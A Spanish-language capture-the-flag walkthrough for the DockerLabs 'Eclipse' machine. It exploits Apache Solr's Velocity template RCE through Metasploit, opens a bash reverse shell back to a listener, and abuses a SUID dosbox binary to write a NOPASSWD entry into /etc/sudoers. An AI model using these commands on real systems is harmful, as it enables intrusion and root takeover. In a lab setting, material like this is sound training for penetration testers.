Eclipse DockerLabs (intermediate)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip eclipse.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh eclipse.tar

Info:

stamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 12:25 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000024s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Epic Battle
8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://express.dl:8983/solr/
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds

Si vamos al puerto 8983 vemos que nos carga un software llamado Solr por lo que vamos a buscar si contiene alguna vulnerabilidad dicho software.

Antes vamos a ver en que version esta.

http://172.17.0.2:8983 [302 Found] Country[RESERVED][ZZ], IP[172.17.0.2], RedirectLocation[http://172.17.0.2:8983/solr/]
http://172.17.0.2:8983/solr/ [200 OK] Country[RESERVED][ZZ], IP[172.17.0.2], JQuery[2.1.3], Script, Title[Solr Admin], X-Frame-Options[DENY], X-UA-Compatible[IE=9]

No nos da mucha informacion, pero vamos a ver en metasploit que vemos.

Escalate user ninhack

Metasploit

msfconsole -q

Si buscamos por el software:

search solr

Info:

Matching Modules
================

   #   Name                                            Disclosure Date  Rank       Check  Description
   -   ----                                            ---------------  ----       -----  -----------
   0   exploit/linux/http/apache_solr_backup_restore   2024-02-24       excellent  Yes    Apache Solr Backup/Restore APIs RCE
   1   exploit/multi/http/solr_velocity_rce            2019-10-29       excellent  Yes    Apache Solr Remote Code Execution via Velocity Template
   2     \_ target: Java (in-memory)                   .                .          .      .
   3     \_ target: Unix (in-memory)                   .                .          .      .
   4     \_ target: Linux (dropper)                    .                .          .      .
   5     \_ target: x86/x64 Windows PowerShell         .                .          .      .
   6     \_ target: x86/x64 Windows CmdStager          .                .          .      .
   7     \_ target: Windows Exec                       .                .          .      .
   8   auxiliary/scanner/http/log4shell_scanner        2021-12-09       normal     No     Log4Shell HTTP Scanner
   9     \_ AKA: Log4Shell                             .                .          .      .
   10    \_ AKA: LogJam                                .                .          .      .
   11  exploit/linux/http/trendmicro_websecurity_exec  2020-06-10       excellent  Yes    Trend Micro Web Security (Virtual Appliance) Remote Code Execution


Interact with a module by name or index. For example info 11, use 11 or use exploit/linux/http/trendmicro_websecurity_exec

Vemos que el que mas nos interesa es el numero 1 que seria multi/http/solr_velocity_rce y lo configuramos de la siguiente forma:

set LPORT <PORT>
set LHOST <IP_HOST>
set RHOSTS <IP_VICTIM>
exploit

Info:

[*] Started reverse TCP handler on 192.168.120.128:7777 
[*] 172.17.0.2:8983: Authentication not required
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 6.8.11-amd64
[*] Found core(s): 0xDojo
[+] Found Velocity Response Writer in use by core '0xDojo'
[!] params.resource.loader.enabled for core '0xDojo' is set to false.
[*] Targeting core '0xDojo'
[*] params.resource.loader.enabled is false for '0xDojo', trying to update it...
[+] params.resource.loader.enabled is true for core '0xDojo'
[*] Using URL: http://192.168.120.128:8080/WI2zfuBr7/
[*] Sending stage (57971 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.120.128:7777 -> 172.17.0.2:58324) at 2025-01-10 12:35:15 -0500
[*] Server stopped.

meterpreter > getuid
Server username: ninhack

Escalate Privileges

Y vemos que funciona, por lo que haremos lo siguiente, vamos a ver si tiene permisos SUID importantes para dicho usuario.

find / -type f -perm -4000 -ls 2>/dev/null

Info:

2107068     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  2097398     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
  2097522     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  2097533     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  2097585     72 -rwsr-xr-x   1 root     root          72000 Mar 28  2024 /usr/bin/su
  2097459     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  2097517     60 -rwsr-xr-x   1 root     root          59704 Mar 28  2024 /usr/bin/mount
  2097609     36 -rwsr-xr-x   1 root     root          35128 Mar 28  2024 /usr/bin/umount
  2097392     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  2106566   2504 -rwsr-xr-x   1 root     root        2560896 Sep 19  2022 /usr/bin/dosbox
  2106676    276 -rwsr-xr-x   1 root     root         281624 Jun 27  2023 /usr/bin/sudo

Vemos un binario interesante que es el siguiente:

Como estamos en meterpreter no nos va a dejar abrir el nano por lo que haremos lo siguiente:

shell
bash -c "sh -i >& /dev/tcp/<IP>/<IP> 0>&1"

Estaremos a la escucha:

nc -lvnp <PORT>

Y si lo ejecutamos y nos vamos a la escucha obtendremos una shell, por lo que la sanitizaremos.

Sanitizacion de la shell (TTY):

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Y ahora haremos lo siguiente:

LFILE='/etc/sudoers'
dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL:ALL) NOPASSWD: ALL >c:$LFILE" -c exit

Y con esto seremos root.

Last updated